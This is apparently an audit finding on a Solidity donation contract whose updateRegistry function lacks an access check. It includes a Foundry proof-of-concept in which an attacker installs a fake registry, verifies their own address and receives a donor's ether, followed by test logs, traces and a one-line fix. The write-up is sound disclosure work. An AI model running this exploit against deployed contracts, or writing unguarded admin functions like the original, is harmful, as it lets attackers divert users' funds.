Summary
GivingThanks::updateRegistryupdates the registry address, but lack of access control enables an attacker to pass their own fake registry contract and receive donations.
Vulnerability Details
Since GivingThanks::updateRegistry does not check if the caller is authorized, i.e. admin or not, a malicious actor can change the registry to their malicious contract.
Consider the following scenario, an attacker calls GivingThanks::updateRegistry and passes the address of their own malicious contract, which might look the same as CharityRegistry contract. Then, since now they are the admin of that registry contract, they register their own address as a charity and then verify it. Now, an unsuspecting donator could call the GivingThanks::isVerified function with attacker's address to check if they are donating to a real charity, and since they trust the admin of the contract and do not expect a malicious intent, after seeing that the address is indeed verified, they might send donations into it. The donations will be sent to the attacker's address.
Here's the POC:
Create a new test file and paste the following in it
pragma solidity ^0.8.0;
import "forge-std/Test.sol";
import "../src/GivingThanks.sol";
import "../src/CharityRegistry.sol";
contract MaliciousRegistry {
address public admin;
mapping(address => bool) public verifiedCharities;
mapping(address => bool) public registeredCharities;
constructor() {
admin = msg.sender;
}
function registerCharity(address charity) public {
registeredCharities[charity] = true;
}
function verifyCharity(address charity) public {
require(msg.sender == admin, "Only admin can verify");
require(registeredCharities[charity], "Charity not registered");
verifiedCharities[charity] = true;
}
function isVerified(address charity) public view returns (bool) {
return registeredCharities[charity];
}
function changeAdmin(address newAdmin) public {
require(msg.sender == admin, "Only admin can change admin");
admin = newAdmin;
}
}
contract MyTest is Test {
GivingThanks public givingThanksContract;
CharityRegistry public registryContract;
MaliciousRegistry public maliciousRegistryContract;
address owner = makeAddr("owner");
address donator = makeAddr("donator");
address attacker = makeAddr("attacker");
function setUp() public {
registryContract = new CharityRegistry();
givingThanksContract = new GivingThanks(address(registryContract));
deal(donator, 10 ether);
}
function test_attacker_takes_control() public {
vm.startPrank(attacker);
maliciousRegistryContract = new MaliciousRegistry();
givingThanksContract.updateRegistry(address(maliciousRegistryContract));
maliciousRegistryContract.registerCharity(address(attacker));
maliciousRegistryContract.verifyCharity(address(attacker));
assertEq(maliciousRegistryContract.isVerified(address(attacker)), true);
vm.stopPrank();
console.log("attacker balance,", attacker.balance);
console.log("donator balance before,", donator.balance);
vm.startPrank(donator);
givingThanksContract.donate{value: 1 ether}(address(attacker));
vm.stopPrank();
console.log("donator balance after,", donator.balance);
console.log("attacker balance after,", attacker.balance);
}
}
Ran 1 test for test/MyTest.t.sol:MyTest
[PASS] test_attacker_takes_control() (gas: 563919)
Logs:
attacker balance, 0
donator balance before, 10000000000000000000
donator balance after, 9000000000000000000
attacker balance after, 1000000000000000000
Traces:
[563919] MyTest::test_attacker_takes_control()
├─ [0] VM::startPrank(attacker: [0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e])
│ └─ ← [Return]
├─ [191749] → new MaliciousRegistry@0x959951c51b3e4B4eaa55a13D1d761e14Ad0A1d6a
│ └─ ← [Return] 847 bytes of code
├─ [5404] GivingThanks::updateRegistry(MaliciousRegistry: [0x959951c51b3e4B4eaa55a13D1d761e14Ad0A1d6a])
│ └─ ← [Stop]
├─ [22464] MaliciousRegistry::registerCharity(attacker: [0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e])
│ └─ ← [Stop]
├─ [22860] MaliciousRegistry::verifyCharity(attacker: [0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e])
│ └─ ← [Stop]
├─ [547] MaliciousRegistry::isVerified(attacker: [0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e]) [staticcall]
│ └─ ← [Return] true
├─ [0] VM::assertEq(true, true) [staticcall]
│ └─ ← [Return]
├─ [0] VM::stopPrank()
│ └─ ← [Return]
├─ [0] console::log("attacker balance,", 0) [staticcall]
│ └─ ← [Stop]
├─ [0] console::log("donator balance before,", 10000000000000000000 [1e19]) [staticcall]
│ └─ ← [Stop]
├─ [0] VM::startPrank(donator: [0x1f115Bac26955ed0246Fc393f3507C52441da048])
│ └─ ← [Return]
├─ [235025] GivingThanks::donate{value: 1000000000000000000}(attacker: [0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e])
│ ├─ [547] MaliciousRegistry::isVerified(attacker: [0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e]) [staticcall]
│ │ └─ ← [Return] true
│ ├─ [0] attacker::fallback{value: 1000000000000000000}()
│ │ └─ ← [Stop]
│ ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: donator: [0x1f115Bac26955ed0246Fc393f3507C52441da048], tokenId: 0)
│ ├─ emit MetadataUpdate(_tokenId: 0)
│ └─ ← [Stop]
├─ [0] VM::stopPrank()
│ └─ ← [Return]
├─ [0] console::log("donator balance after,", 9000000000000000000 [9e18]) [staticcall]
│ └─ ← [Stop]
├─ [0] console::log("attacker balance after,", 1000000000000000000 [1e18]) [staticcall]
│ └─ ← [Stop]
└─ ← [Stop]
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.80ms (535.61µs CPU time)
Ran 1 test suite in 764.27ms (1.80ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
Impact
An attacker takes control of the CharityRegistry contract and receives donations from donators.
Tools Used
Manual review
Recommendations
Change the function as follows:
function updateRegistry(address _registry) public {
+ require(msg.sender == owner, "Only admin can update registry");
registry = CharityRegistry(_registry);
}
